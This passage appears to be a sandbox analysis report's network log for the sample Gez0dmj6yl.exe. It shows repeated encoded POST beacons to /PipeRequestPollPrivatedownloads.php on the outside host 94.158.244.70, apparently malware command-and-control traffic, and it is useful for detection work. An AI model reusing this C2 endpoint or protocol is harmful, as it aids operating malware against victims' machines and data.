Sep 1, 2024 23:58:29.310301065 CEST	1040	OUT	Data Raw: 55 5f 58 59 58 5e 5c 50 5b 5b 54 51 5b 53 56 56 57 51 5a 43 50 53 51 5f 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U_XYX^\P[[TQ[SVVWQZCPSQ_^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#1"?V&0.: %,T,2/(1$&[)3??]<9G$#P/<
Sep 1, 2024 23:58:29.557723999 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:29.686300993 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.5	49832	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:29.814626932 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:30.169709921 CEST	1040	OUT	Data Raw: 50 5b 5d 5b 5d 5c 5c 52 5b 5b 54 51 5b 57 56 54 57 53 5a 49 50 5e 51 5d 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: P[][]\\R[[TQ[WVTWSZIP^Q]^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#\& !Q29:9T"%$V-.8\%=,<1 [2>=]$/(9G$#P/,
Sep 1, 2024 23:58:30.479053020 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:30.512872934 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	49833	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:30.639517069 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:31.001374006 CEST	1040	OUT	Data Raw: 55 50 5d 5f 58 52 5c 50 5b 5b 54 51 5b 50 56 53 57 52 5a 45 50 5c 51 5d 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UP]_XR\P[[TQ[PVSWRZEP\Q]^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ &V-!)% D,)=R 4;8$-3<1&-]' ?9G$#P/0
Sep 1, 2024 23:58:31.221101999 CEST	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.5	49834	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:31.331556082 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1756 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:31.685364008 CEST	1756	OUT	Data Raw: 50 5b 5d 5f 58 5b 59 53 5b 5b 54 51 5b 52 56 53 57 56 5a 43 50 5b 51 5e 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: P[]_X[YS[[TQ[RVSWVZCP[Q^^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ &V:_6:V%C.:=4(W/[$[%=8T)1#%5Y3$?9G$#P/
Sep 1, 2024 23:58:31.905392885 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:32.028686047 CEST	380	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:31 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 03 10 22 1d 31 00 20 0f 25 01 0b 0c 25 57 2f 0d 29 0e 27 1a 39 07 2f 12 23 33 30 54 2c 3c 22 5b 36 33 00 06 28 07 34 5e 3e 3e 34 54 36 0d 20 51 04 12 21 5c 21 2d 2a 0e 2d 5d 3d 5e 26 54 23 5a 21 0e 29 06 28 04 22 0e 36 3a 26 10 32 33 2d 10 28 12 23 0f 2d 16 20 42 3e 2f 0c 57 34 12 21 56 0f 12 25 53 25 3a 2c 07 33 02 05 0d 27 01 29 5d 36 00 37 11 20 00 23 1a 31 0a 3a 59 2b 2f 01 13 29 2d 2d 13 27 02 00 18 33 04 27 56 26 3c 23 50 2d 02 2f 52 04 31 56 54 Data Ascii: "1 %%W/)'9/#30T,<"[63(4^>>4T6 Q!\!-*-]=^&T#Z!)("6:&23-(#- B>/W4!V%S%:,3')]67 #1:Y+/)--'3'V&<#P-/R1VT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.5	49835	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:31.454545975 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:31.810576916 CEST	1040	OUT	Data Raw: 55 50 5d 59 5d 59 5c 55 5b 5b 54 51 5b 56 56 54 57 55 5a 40 50 52 51 53 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UP]Y]Y\U[[TQ[VVTWUZ@PRQS^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#23:X6/&P%<A->7%$W,41+<27%Y'/(++9G$#P/(
Sep 1, 2024 23:58:32.044271946 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:32.174268961 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	49836	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:32.296696901 CEST	304	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue
Sep 1, 2024 23:58:32.657548904 CEST	1040	OUT	Data Raw: 50 5c 5d 5e 58 5e 59 52 5b 5b 54 51 5b 53 56 53 57 54 5a 44 50 5f 51 5a 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: P\]^X^YR[[TQ[SVSWTZDP_QZ^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ 26-%"$@.R 58T-> [&+"#160?+);9G$#P/<
Sep 1, 2024 23:58:32.876636028 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:33.002373934 CEST	151	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.5	49837	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:33.124416113 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1032 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:33.482605934 CEST	1032	OUT	Data Raw: 55 5d 58 5d 5d 5c 5c 55 5b 5b 54 51 5b 55 56 57 57 50 5a 42 50 59 51 52 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U]X]]\\U[[TQ[UVWWPZBPYQR^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#^2 )5<%2':R4 S,.+%,<!2>9$((9G$#P/
Sep 1, 2024 23:58:33.726466894 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:33.858484030 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	49838	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:33.987265110 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:34.341635942 CEST	1040	OUT	Data Raw: 55 5e 5d 58 58 5d 59 57 5b 5b 54 51 5b 53 56 50 57 51 5a 47 50 5a 51 5f 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U^]XX]YW[[TQ[SVPWQZGPZQ_^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#Z1V96&W2239177/+20T(<X&>)Y'[++9G$#P/<
Sep 1, 2024 23:58:34.560183048 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:34.688852072 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	49839	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:35.321130991 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:35.669775963 CEST	1040	OUT	Data Raw: 50 5d 58 53 5d 5b 5c 57 5b 5b 54 51 5b 54 56 53 57 5b 5a 43 50 5b 51 5e 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: P]XS][\W[[TQ[TVSW[ZCP[Q^^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#16?!%-:97$,-%.;+1=:$?(9G$#P/
Sep 1, 2024 23:58:35.917758942 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:36.045149088 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	49840	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:36.174871922 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:36.529151917 CEST	1040	OUT	Data Raw: 50 58 58 5c 58 58 59 54 5b 5b 54 51 5b 51 56 51 57 51 5a 41 50 5e 51 5e 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: PXX\XXYT[[TQ[QVQWQZAP^Q^^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ ' &",9%D-="54//%=(+W(\%[>%?;(9G$#P/4
Sep 1, 2024 23:58:36.757770061 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:36.886378050 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	49841	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:37.014575958 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	49842	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:37.053426981 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1756 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:37.405440092 CEST	1756	OUT	Data Raw: 50 5c 5d 5c 58 5b 5c 53 5b 5b 54 51 5b 5c 56 51 57 55 5a 45 50 5f 51 52 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: P\]\X[\S[[TQ[\VQWUZEP_QR^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#_1>"&T22,)1T#%;/>#&#+1(\%[9'/,<9G$#P/
Sep 1, 2024 23:58:37.636015892 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:37.762324095 CEST	380	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:37 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 03 10 22 1d 24 2e 0e 0f 27 2c 2a 54 27 31 23 0a 3d 19 24 40 2d 58 34 01 23 33 33 0a 3b 5a 2a 5a 21 23 29 1c 28 17 0e 59 28 13 27 0e 36 0d 20 51 04 12 21 5c 35 5b 3e 0a 2d 02 3e 04 27 22 33 58 35 33 21 06 2a 39 2e 08 22 2a 35 07 26 30 25 58 28 3f 2c 54 2e 16 2c 41 2a 3f 32 1e 23 38 21 56 0f 12 25 57 25 39 33 13 27 2c 2c 12 33 01 39 5d 35 3e 20 04 20 07 2c 09 25 23 2a 58 3f 11 3b 5b 29 2e 3e 07 30 02 32 16 27 2d 3f 1c 33 2c 23 50 2d 02 2f 52 04 31 56 54 Data Ascii: "$.',T'1#=$@-X4#33;ZZ!#)(Y('6 Q!\5[>->'"3X53!9."5&0%X(?,T.,A?2#8!V%W%93',,39]5> ,%#X?;[).>02'-?3,#P-/R1VT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.5	49843	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:37.177936077 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:37.530339956 CEST	1040	OUT	Data Raw: 55 58 58 58 5d 5c 5c 54 5b 5b 54 51 5b 56 56 57 57 54 5a 45 50 5d 51 5d 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UXXX]\\T[[TQ[VVWWTZEP]Q]^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#[2)!.'"#,:*4% ,[<%.0(W(&.)'#Z<9G$#P/(
Sep 1, 2024 23:58:37.769646883 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:37.896985054 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.5	49844	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:38.034379005 CEST	304	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue
Sep 1, 2024 23:58:38.388938904 CEST	1040	OUT	Data Raw: 55 59 58 58 5d 5c 59 54 5b 5b 54 51 5b 50 56 55 57 51 5a 43 50 59 51 58 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UYXX]\YT[[TQ[PVUWQZCPYQX^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ &06?&W%+.""6$S/(X&>'<11.5Z0/++9G$#P/0
Sep 1, 2024 23:58:38.607516050 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:38.732789993 CEST	151	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.5	49845	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:38.871555090 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:39.217391968 CEST	1040	OUT	Data Raw: 55 51 58 5a 5d 5f 5c 55 5b 5b 54 51 5b 56 56 54 57 5a 5a 48 50 52 51 5e 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UQXZ]_\U[[TQ[VVTWZZHPRQ^^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ &0*"/"'28B-"&<-. \$=$R(0[&>>3?$+9G$#P/(
Sep 1, 2024 23:58:39.465543985 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:39.595320940 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.5	49846	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
